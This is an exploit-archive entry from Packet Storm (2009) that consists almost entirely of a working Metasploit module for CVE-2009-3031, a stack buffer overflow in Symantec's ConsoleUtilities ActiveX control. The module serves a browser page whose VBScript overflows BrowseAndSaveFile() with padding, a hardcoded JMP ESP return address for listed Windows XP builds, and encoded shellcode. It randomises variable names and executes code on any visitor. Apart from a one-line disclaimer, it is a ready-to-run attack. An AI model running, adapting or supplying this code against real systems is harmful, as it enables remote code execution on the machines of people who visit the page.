Symantec ConsoleUtilities ActiveX Control Metasploit Exploit

2009-11-03T00:00:00
ID PACKETSTORM:82425
Type packetstorm
Reporter Nikolas Sotiriu
Modified 2009-11-03T00:00:00

Description

                                        
                                            `##   
# Use it only for education or ethical pentesting! The author accepts no liability for damage caused by this tool.  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Symantec ConsoleUtilities ActiveX Control Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Symantecs ConsoleUtilities.  
By sending an overly long string to the "BrowseAndSaveFile()" method located  
in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to  
execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'Nikolas Sotiriu (lofi)' ],  
'Version' => '1.0',  
'References' =>  
[  
[ 'CVE', '2009-3031'],  
[ 'URL', 'http://sotiriu.de/adv/NSOADV-2009-001.txt' ],  
[ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2009&suid=20091102_00' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP2 Universal', { 'Ret' => 0x77d92acc } ], # USER32.dll JMP ESP  
[ 'Windows XP SP2 Pro German', { 'Ret' => 0x77D5AF0A } ], # SHELL32.dll JMP ESP  
[ 'Windows XP SP3 Pro German', { 'Ret' => 0x7E6830D7 } ], # SHELL32.dll JMP ESP  
],  
'DisclosureDate' => 'Nov 02 2009',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Randomize variables  
vname = rand_text_alpha(rand(20) + 1)  
junk = rand_text_alpha(rand(20) + 1)  
eip = rand_text_alpha(rand(20) + 1)  
morejunk = rand_text_alpha(rand(20) + 1)  
sc = rand_text_alpha(rand(20) + 1)  
buf = rand_text_alpha(rand(20) + 1)  
  
  
# Set RET and shellcode  
ret = Rex::Text.to_unescape([target.ret].pack('V'))  
shellcode = Rex::Text.to_unescape(p.encoded)  
  
# Build the Site  
content = %Q|  
<html>  
<object classid='clsid:B44D252D-98FC-4D5C-948C-BE868392A004' id='#{vname}'></object>  
<script language='vbscript'>  
arg1 = ""  
arg3 = ""  
arg4 = ""  
arg5 = ""  
  
#{junk}=String(310, "A")  
#{eip}=unescape("#{ret}")  
#{morejunk}=String(18, unescape("%u0041"))  
#{sc}=unescape("#{shellcode}")  
  
#{buf}=#{junk}+#{eip}+#{morejunk}+#{sc}  
#{vname}.BrowseAndSaveFile arg1,#{buf},arg3,arg4,arg5  
</script>  
</html>  
|  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
  
`